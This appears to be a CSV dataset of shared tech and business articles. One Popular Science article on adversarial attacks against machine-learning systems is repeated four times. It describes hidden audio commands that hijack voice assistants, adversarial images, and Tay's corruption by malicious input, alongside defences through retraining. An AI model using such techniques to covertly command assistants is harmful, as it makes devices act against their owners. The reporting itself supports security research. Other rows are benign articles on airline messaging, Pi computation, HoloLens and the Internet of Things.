1459367903,CONTENT REMOVED,7420742904084384944,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
1459368454,CONTENT SHARED,8219310215587599928,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
1459368501,CONTENT SHARED,7748594134538052724,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
1459368576,CONTENT REMOVED,8219310215587599928,-1443636648652872475,8209530310193218854,,,,HTML,http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence,Fooling The Machine,"Two groups, one at Berkeley University and another at Georgetown University, have successfully developed algorithms that can issue speech commands for digital personal assistants, like Siri and Google Now, in the form of bursts of sound unrecognizable to human ears. To a human, these commands just sound like random white noise, but they could be used to tell a voice-activated assistant like Amazon's Alexa to do things that its owner never intended. Nicholas Carlini, one of the Byzantine audio researchers, says that their tests have been able to activate open source audio recognizers, Siri, and Google Now in their tests, with accuracy on all three more than 90 percent. The noise sounds like a science-fiction alien transmission. It's a garbled mix of white noise and human voice, but certainly unrecognizable as a command. With this attack, any phone that hears the noise (they have to specifically target iOS or Android) could be unknowingly forced to visit a webpage that plays the noise, and thus infect other phones near it, Carlini says. In that same scenario, the webpage could also silently download malware onto the device. There's also the possibility these noises could be played over the radio, hidden in white noise or background audio. These attacks can happen because the machine is trained to think that there's readable or important data in almost every input, and also that some things are more common than others, says Goodfellow. It's easier to fool the network into thinking it's seeing a common object, because it thinks that it should be seeing it more commonly. That's why Goodfellow and a separate group at University of Wyoming are able to make the network classify images when there's nothing there, by making it identify white noise, randomly generated black and white imagery. In Goodfellow's research, random white noise he put through the network was most often classified as a horse. This coincidentally brings us back to Clever Hans, our not so mathematically-gifted horse from earlier. Much like Clever Hans, Goodfellow says these neural networks aren't really learning certain ideas, but just how to recognize when they finds the right idea. The distinction is slight, but important. This lack of foundational knowledge makes it easy to maliciously recreate the experience of finding the ""right"" outcome for the algorithm, which is actually a false answer. To understand what is, the machine also must understand what is not. Goodfellow found that when he trained his image classifying networks with both the natural images, and the doctored images (specifying that they were fake), he not only could reduce the efficiency of the attack by more than 90 percent, but the network was better at its original task. ""When you start forcing them to explain the really unusual adversarial examples, it might come up with a even more robust explanation of what the underlying concepts are,"" Goodfellow says. The two audio groups have also used the same approach as the Google researchers to patch language recognition systems against their own attacks, by retraining their networks. They've achieved similar levels of success, with more than 90 percent reduction in attack efficiency. ""It's probably fairly easy for an adversary to fool us, to deceive us. Some of that may be benign, some of that may not be."" It's no surprise that this area of research has garnered interest from the United States military. In fact, the Army Research Laboratory actually sponsored at least two of the most recent papers, including the black box attack. While the Army Lab is proactive in funding research, this doesn't mean the tech is in active development for use in warfare. According to a spokesperson, research usually takes upwards of 10 years to make its way into soldier's hands. Ananthram Swami, a researcher with the U.S. Army Research Laboratory, has had varying levels of participation in recent papers concerning adversarial attacks. The Army's interest lies in the detection and stopping of purposefully deceptive data, in an age where not all sources of information can be vetted properly. Swami points to the bevy of data accessible from public sensors placed by universities and open source projects. ""We don't necessarily control all that data. It's probably fairly easy for an adversary to fool us, to deceive us,"" Swami said. ""Some of that may be benign, some of that may not be."" He also says that as the Army has a vested interest in autonomous robots, tanks, and other vehicles, so this research is obvious. By studying this now, the Army would have a headstart for systems in the field that were immune to potential adversarial attacks. But any group in that uses deep neural networks, which is a quickly growing faction, should have concerns about the potential of adversarial attacks. While machine learning and artificial intelligence systems are still in their infancy, we're at a dangerous time where security oversights can have drastic results. Many companies are placing highly volatile information in the hands of artificially intelligent systems, which have not endured the scrutiny of time. Our neural networks are simply too young for us to know everything about them. A similar oversight led to Tay, Microsoft's Twitter chatbot that quickly turned into a genocidal racist. A torrent of malicious data, and a foreseeably terrible ""repeat after me"" function, led Tay to deviate wildly from her original programming. The bot was hijacked by bad training data from the wild, and serves as a handy example for what can happen when machine learning is poorly implemented. Kantchelian says that he doesn't think the door is completely closed for any of these attacks, even with the promising research from the Google team. ""At least in computer security, unfortunately the attackers are always ahead of us,"" Kantchelian says. ""So it's going to be a little dangerous to say we solved all the problems of adversarial machine learning by retraining.""",en
1459369111,CONTENT SHARED,-4186591400427142356,3609194402293569455,8227849995987463182,,,,HTML,http://www.b9.com.br/64171/social-media/em-parceria-com-facebook-klm-passa-oferecer-atendimento-atraves-do-messenger/,"Em parceria com Facebook, KLM passa a oferecer atendimento através do Messenger","Facebook e KLM anunciaram hoje uma parceria que promete mudar a forma como nos relacionamos com companhias aéreas. Voce sabe bem como é: muita burocracia, números pra decorar, sistemas com péssima usabilidade e design complicado em cada ponto de contato. Agora, após reservar um vôo no site da KLM, você pode optar por receber as informações através do Messenger do Facebook, tais como confirmações, notificação de check-in, status e bilhetes de embarque. Reunir as informações dessa maneira já é um facilitador, mas o mais importante diz respeito ao atendimento. Segundo a KLM, você pode pode entrar em contato 24 horas por dia através do Messenger, solicitando inclusive alterações no vôo, como remarcações e escolha de assento. A interação já está disponível em 13 idiomas, incluindo o português. Para promover a novidade, a KLM criou uma promoção que vai sortear duas passagens para qualquer destino entre as pessoas que testarem o serviço até o dia 27 de abril. Os detalhes estão no site messenger.klm.com",pt
1459369124,CONTENT SHARED,8565115980515859979,3891637997717104548,1776955132850411647,,,,HTML,https://cloudplatform.googleblog.com/2016/03/calculating-and-searching-500-billion-digits-of-Pi.html,Calculating and searching 500 billion digits of Pi,"It's Pi day! Have you ever wondered whether you could take on the infinite irrationality of Pi and calculate its over one trillion digits? Well we wondered that exactly, and we found a way to calculate to 500 billion digits. Here's how: Google Compute Engine supports up to eight 375GB Local SSDs per virtual machine instance ! That gave us a total of 3TB of Local SSDs to use as swap space - exactly what we needed to calculate 500 billion digits, which is also exactly what we did. Once the machine was setup, we were able to calculate 500 billion digits of Pi in about 44.9 hours. Assuming you already have a Google Cloud Platform account, and gcloud command line tool installed, here's how you can setup the instance: First, let's set some variables to be used later. You'll need to pick a zone to replace the ZONE variable. export PROJECT=""YOUR_GCP_PROJECT"" export ZONE=""us-central1-c"" export CORES=""32"" export OUTPUT_DISK_SIZE=""500GB"" export OUTPUT_DISK=""out-${CORES}"" export INSTANCE=""yc-${CORES}"" Next, create a large disk to hold the final output (500 billion digits will take up 500GB!) $ gcloud compute disks create ${OUTPUT_DISK} \ --project ${PROJECT} \ --zone ${ZONE} \ --size ${OUTPUT_DISK_SIZE} \ --type pd-ssd Then, create a Compute Engine instance with Local SSDs, the following command will attach 8 Local SSDs: $ gcloud compute instances create ${INSTANCE} \ --project ${PROJECT} \ --zone ${ZONE} \ --machine-type n1-highmem-${CORES} \ --maintenance-policy TERMINATE \ --image-project gce-nvme \ --image nvme-backports-debian-7-wheezy-v20151104 \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --local-ssd interface=NVME \ --disk name=${OUTPUT_DISK},device-name=${OUTPUT_DISK} Once the instance is started, you can SSH into it with: $ gcloud compute ssh ${INSTANCE} -zone ${ZONE} Once you're in the newly created instance, you'll need to first format and mount all of the Local SSDs and the large persistent disk: $ sudo su - $ for i in `seq 0 7`; do \ mkdir /mnt/${i}; \ /usr/share/google/safe_format_and_mount \ /dev/disk/by-id/google-local-ssd-${i} /mnt/${i}; \ done $ mkdir /mnt/out $ /usr/share/google/safe_format_and_mount \ /dev/disk/by-id/google-${OUTPUT_DISK} \ /mnt/out Finally, install the latest version of y-cruncher onto that instance. You may want to install screen or tmux as well. To calculate digits of Pi, here is the command line I used to start y-cruncher on the virtual machine: $ export DIGITS=""500000000000"" $ ./y-cruncher custom pi -dec:${DIGITS} -hex:0 \ -o /mnt/out -mode:swap -swap:raid0 \ /mnt/0 /mnt/1 /mnt/2 /mnt/3 /mnt/4 /mnt/5 /mnt/6 /mnt/7 Searching Pi Digits (Preview!) y-cruncher certainly made it easy to calculate digits of Pi. For Pi Day 2016, Francesc Campoy , Jen Tong , Sara Robinson and I built a reverse lookup index in Google Cloud Bigtable , so that we can search a sequence of digits, such as your phone number and more! Here is a sneak preview of 2-million writes per second of Pi Digits into Cloud Bigtable: So that we can search a sequence of digits (up to 20 digits), and ask where in Pi does the first 9 digits of e appear? 6 occurrences! One in position 2,630,513,465! Or, is there a sequence of nine 9's ""999999999"": In position 4,329,769,635! This was a big leap from last year , when we calculated 100 billion digits using y-cruncher running on last year's n1-highmem-32 of Compute Engine instance, which had 32-cores and 208GB of RAM and four Local SSDs. Stayed tuned for more details on how we ingested billions of digits into Bigtable and how we built the Pi Search frontend. - Posted by Ray Tsang , Developer Advocate and Greg Wilson , Head of Developer Advocacy for Google Cloud Platform",en
1459369515,CONTENT SHARED,8082202054464515448,-7531858294361854119,681809534976157585,,,,HTML,http://www.b9.com.br/64132/tech/com-hololens-microsoft-torna-realidade-mensagem-holografica-de-star-wars/,"Com HoloLens, Microsoft torna realidade a mensagem holográfica de ""Star Wars""","As recentes demonstrações do HoloLens da Microsoft podem até colocar um dinossauro, um zumbi ou um unicórnio na sua sala de estar, mas existe aí uma aplicação prática muito mais nerd do que isso: tornar realidade a mensagem da Princesa Leia em ""Star Wars"" . Quero dizer, não a mensagem em si (ou teríamos todos que correr para lutar contra o Império), mas a tecnologia de projeção, que a Microsoft deu o nome de holoportation . Sim, no mundo real precisaremos de um óculos - coisa que Obi-Wan e Luke não precisaram - mas a miniaturização garante a diversão. Além de transmitir alguém em outro ambiente em tempo real para quem estiver usando o HoloLens, também é possível deixar trechos gravados, incluindo áudio, como se fossem registros de memória. A demonstração do vídeo acima explora a possibilidade de dois ambientes com o mesmo layout. Dessa forma, a interação entre as pessoas é como se elas estivessem no mesmo lugar. Shahram Izadi, pesquisador da Microsoft, convocou a própria filha pra testar o projeto. Ela, porém, não pareceu muito entusiasmada com a versão 3D do pai, já que a primeira pergunta foi: Quando você vai voltar pra casa? Custando 3 mil dólares, o Hololens está disponível em pré-venda para desenvolvedores de aplicativos nos EUA e no Canadá. A versão final do óculos deve ser lançada no segundo semestre de 2016.",pt
1459369531,CONTENT SHARED,-5973686110278905367,4670267857749552625,204912088629071541,,,,HTML,http://www.mckinsey.com/industries/high-tech/our-insights/the-internet-of-things,The Internet of Things,"More objects are becoming embedded with sensors and gaining the ability to communicate. The resulting information networks promise to create new business models, improve business processes, and reduce costs and risks. In most organizations, information travels along familiar routes. Proprietary information is lodged in databases and analyzed in reports and then rises up the management chain. Information also originates externally-gathered from public sources, harvested from the Internet, or purchased from information suppliers. But the predictable pathways of information are changing: the physical world itself is becoming a type of information system. In what's called the Internet of Things , sensors and actuators embedded in physical objects-from roadways to pacemakers-are linked through wired and wireless networks, often using the same Internet Protocol (IP) that connects the Internet. These networks churn out huge volumes of data that flow to computers for analysis. When objects can both sense the environment and communicate, they become tools for understanding complexity and responding to it swiftly. What's revolutionary in all this is that these physical information systems are now beginning to be deployed, and some of them even work largely without human intervention. Pill-shaped microcameras already traverse the human digestive tract and send back thousands of images to pinpoint sources of illness. Precision farming equipment with wireless links to data collected from remote satellites and ground sensors can take into account crop conditions and adjust the way each individual part of a field is farmed-for instance, by spreading extra fertilizer on areas that need more nutrients. Billboards in Japan peer back at passersby, assessing how they fit consumer profiles, and instantly change displayed messages based on those assessments. Yes, there are traces of futurism in some of this and early warnings for companies too. Business models based on today's largely static information architectures face challenges as new ways of creating value arise. When a customer's buying preferences are sensed in real time at a specific location, dynamic pricing may increase the odds of a purchase. Knowing how often or intensively a product is used can create additional options-usage fees rather than outright sale, for example. Manufacturing processes studded with a multitude of sensors can be controlled more precisely, raising efficiency. And when operating environments are monitored continuously for hazards or when objects can take corrective action to avoid damage, risks and costs diminish. Companies that take advantage of these capabilities stand to gain against competitors that don't. Internet of Things The widespread adoption of the Internet of Things will take time, but the time line is advancing thanks to improvements in underlying technologies. Advances in wireless networking technology and the greater standardization of communications protocols make it possible to collect data from these sensors almost anywhere at any time. Ever-smaller silicon chips for this purpose are gaining new capabilities, while costs, following the pattern of Moore's Law, are falling. Massive increases in storage and computing power, some of it available via cloud computing, make number crunching possible at very large scale and at declining cost. None of this is news to technology companies and those on the frontier of adoption. But as these technologies mature, the range of corporate deployments will increase. Now is the time for executives across all industries to structure their thoughts about the potential impact and opportunities likely to emerge from the Internet of Things. We see six distinct types of emerging applications, which fall in two broad categories: first, information and analysis and, second, automation and control (exhibit). Information and analysis As the new networks link data from products, company assets, or the operating environment, they will generate better information and analysis, which can enhance decision making significantly. Some organizations are starting to deploy these applications in targeted areas, while more radical and demanding uses are still in the conceptual or experimental stages. 1. Tracking behavior When products are embedded with sensors, companies can track the movements of these products and even monitor interactions with them. Business models can be fine-tuned to take advantage of this behavioral data. Some insurance companies, for example, are offering to install location sensors in customers' cars. That allows these companies to base the price of policies on how a car is driven as well as where it travels. Pricing can be customized to the actual risks of operating a vehicle rather than based on proxies such as a driver's age, gender, or place of residence. Or consider the possibilities when sensors and network connections are embedded in a rental car: it can be leased for short time spans to registered members of a car service, rental centers become unnecessary, and each car's use can be optimized for higher revenues. Zipcar has pioneered this model, and more established car rental companies are starting to follow. In retailing, sensors that note shoppers' profile data (stored in their membership cards) can help close purchases by providing additional information or offering discounts at the point of sale. Market leaders such as Tesco are at the forefront of these uses. In the business-to-business marketplace, one well-known application of the Internet of Things involves using sensors to track RFID (radio-frequency identification) tags placed on products moving through supply chains, thus improving inventory management while reducing working capital and logistics costs. The range of possible uses for tracking is expanding. In the aviation industry, sensor technologies are spurring new business models. Manufacturers of jet engines retain ownership of their products while charging airlines for the amount of thrust used. Airplane manufacturers are building airframes with networked sensors that send continuous data on product wear and tear to their computers, allowing for proactive maintenance and reducing unplanned downtime. 2. Enhanced situational awareness Data from large numbers of sensors, deployed in infrastructure (such as roads and buildings) or to report on environmental conditions (including soil moisture, ocean currents, or weather), can give decision makers a heightened awareness of real-time events, particularly when the sensors are used with advanced display or visualization technologies. Security personnel, for instance, can use sensor networks that combine video, audio, and vibration detectors to spot unauthorized individuals who enter restricted areas. Some advanced security systems already use elements of these technologies, but more far-reaching applications are in the works as sensors become smaller and more powerful, and software systems more adept at analyzing and displaying captured information. Logistics managers for airlines and trucking lines already are tapping some early capabilities to get up-to-the-second knowledge of weather conditions, traffic patterns, and vehicle locations. In this way, these managers are increasing their ability to make constant routing adjustments that reduce congestion costs and increase a network's effective capacity. In another application, law-enforcement officers can get instantaneous data from sonic sensors that are able to pinpoint the location of gunfire. 3. Sensor-driven decision analytics The Internet of Things also can support longer-range, more complex human planning and decision making. The technology requirements-tremendous storage and computing resources linked with advanced software systems that generate a variety of graphical displays for analyzing data-rise accordingly. In the oil and gas industry, for instance, the next phase of exploration and development could rely on extensive sensor networks placed in the earth's crust to produce more accurate readings of the location, structure, and dimensions of potential fields than current data-driven methods allow. The payoff: lower development costs and improved oil flows. As for retailing, some companies are studying ways to gather and process data from thousands of shoppers as they journey through stores. Sensor readings and videos note how long they linger at individual displays and record what they ultimately buy. Simulations based on this data will help to increase revenues by optimizing retail layouts. In health care, sensors and data links offer possibilities for monitoring a patient's behavior and symptoms in real time and at relatively low cost, allowing physicians to better diagnose disease and prescribe tailored treatment regimens. Patients with chronic illnesses, for example, have been outfitted with sensors in a small number of health care trials currently under way, so that their conditions can be monitored continuously as they go about their daily activities. One such trial has enrolled patients with congestive heart failure. These patients are typically monitored only during periodic physician office visits for weight, blood pressure, and heart rate and rhythm. Sensors placed on the patient can now monitor many of these signs remotely and continuously, giving practitioners early warning of conditions that would otherwise lead to unplanned hospitalizations and expensive emergency care. Better management of congestive heart failure alone could reduce hospitalization and treatment costs by a billion dollars annually in the United States. Automation and control Making data the basis for automation and control means converting the data and analysis collected through the Internet of Things into instructions that feed back through the network to actuators that in turn modify processes. Closing the loop from data to automated applications can raise productivity, as systems that adjust automatically to complex situations make many human interventions unnecessary. Early adopters are ushering in relatively basic applications that provide a fairly immediate payoff. Advanced automated systems will be adopted by organizations as these technologies develop further. 1. Process optimization The Internet of Things is opening new frontiers for improving processes. Some industries, such as chemical production, are installing legions of sensors to bring much greater granularity to monitoring. These sensors feed data to computers, which in turn analyze them and then send signals to actuators that adjust processes-for example, by modifying ingredient mixtures, temperatures, or pressures. Sensors and actuators can also be used to change the position of a physical object as it moves down an assembly line, ensuring that it arrives at machine tools in an optimum position (small deviations in the position of work in process can jam or even damage machine tools). This improved instrumentation, multiplied hundreds of times during an entire process, allows for major reductions in waste, energy costs, and human intervention. In the pulp and paper industry, for example, the need for frequent manual temperature adjustments in lime kilns limits productivity gains. One company raised production 5 percent by using embedded temperature sensors whose data is used to automatically adjust a kiln flame's shape and intensity. Reducing temperature variance to near zero improved product quality and eliminated the need for frequent operator intervention. 2. Optimized resource consumption Networked sensors and automated feedback mechanisms can change usage patterns for scarce resources, including energy and water, often by enabling more dynamic pricing. Utilities such as Enel in Italy and Pacific Gas and Electric (PG&E) in the United States, for example, are deploying ""smart"" meters that provide residential and industrial customers with visual displays showing energy usage and the real-time costs of providing it. (The traditional residential fixed-price-per-kilowatt-hour billing masks the fact that the cost of producing energy varies substantially throughout the day.) Based on time-of-use pricing and better information residential consumers could shut down air conditioners or delay running dishwashers during peak times. Commercial customers can shift energy-intensive processes and production away from high-priced periods of peak energy demand to low-priced off-peak hours. Data centers, which are among the fastest-growing segments of global energy demand, are starting to adopt power-management techniques tied to information feedback. Power consumption is often half of a typical facility's total lifetime cost, but most managers lack a detailed view of energy consumption patterns. Getting such a view isn't easy, since the energy usage of servers spikes at various times, depending on workloads. Furthermore, many servers draw some power 24/7 but are used mostly at minimal capacity, since they are tied to specific operations. Manufacturers have developed sensors that monitor each server's power use, employing software that balances computing loads and eliminates the need for underused servers and storage devices. Greenfield data centers already are adopting such technologies, which could become standard features of data center infrastructure within a few years. 3. Complex autonomous systems The most demanding use of the Internet of Things involves the rapid, real-time sensing of unpredictable conditions and instantaneous responses guided by automated systems. This kind of machine decision making mimics human reactions, though at vastly enhanced performance levels. The automobile industry, for instance, is stepping up the development of systems that can detect imminent collisions and take evasive action. Certain basic applications, such as automatic braking systems, are available in high-end autos. The potential accident reduction savings flowing from wider deployment could surpass $100 billion annually. Some companies and research organizations are experimenting with a form of automotive autopilot for networked vehicles driven in coordinated patterns at highway speeds. This technology would reduce the number of ""phantom jams"" caused by small disturbances (such as suddenly illuminated brake lights) that cascade into traffic bottlenecks. Scientists in other industries are testing swarms of robots that maintain facilities or clean up toxic waste, and systems under study in the defense sector would coordinate the movements of groups of unmanned aircraft. While such autonomous systems will be challenging to develop and perfect, they promise major gains in safety, risk, and costs. These experiments could also spur fresh thinking about how to tackle tasks in inhospitable physical environments (such as deep water, wars, and contaminated areas) that are difficult or dangerous for humans. What comes next? The Internet of Things has great promise, yet business, policy, and technical challenges must be tackled before these systems are widely embraced. Early adopters will need to prove that the new sensor-driven business models create superior value. Industry groups and government regulators should study rules on data privacy and data security, particularly for uses that touch on sensitive consumer information. Legal liability frameworks for the bad decisions of automated systems will have to be established by governments, companies, and risk analysts, in consort with 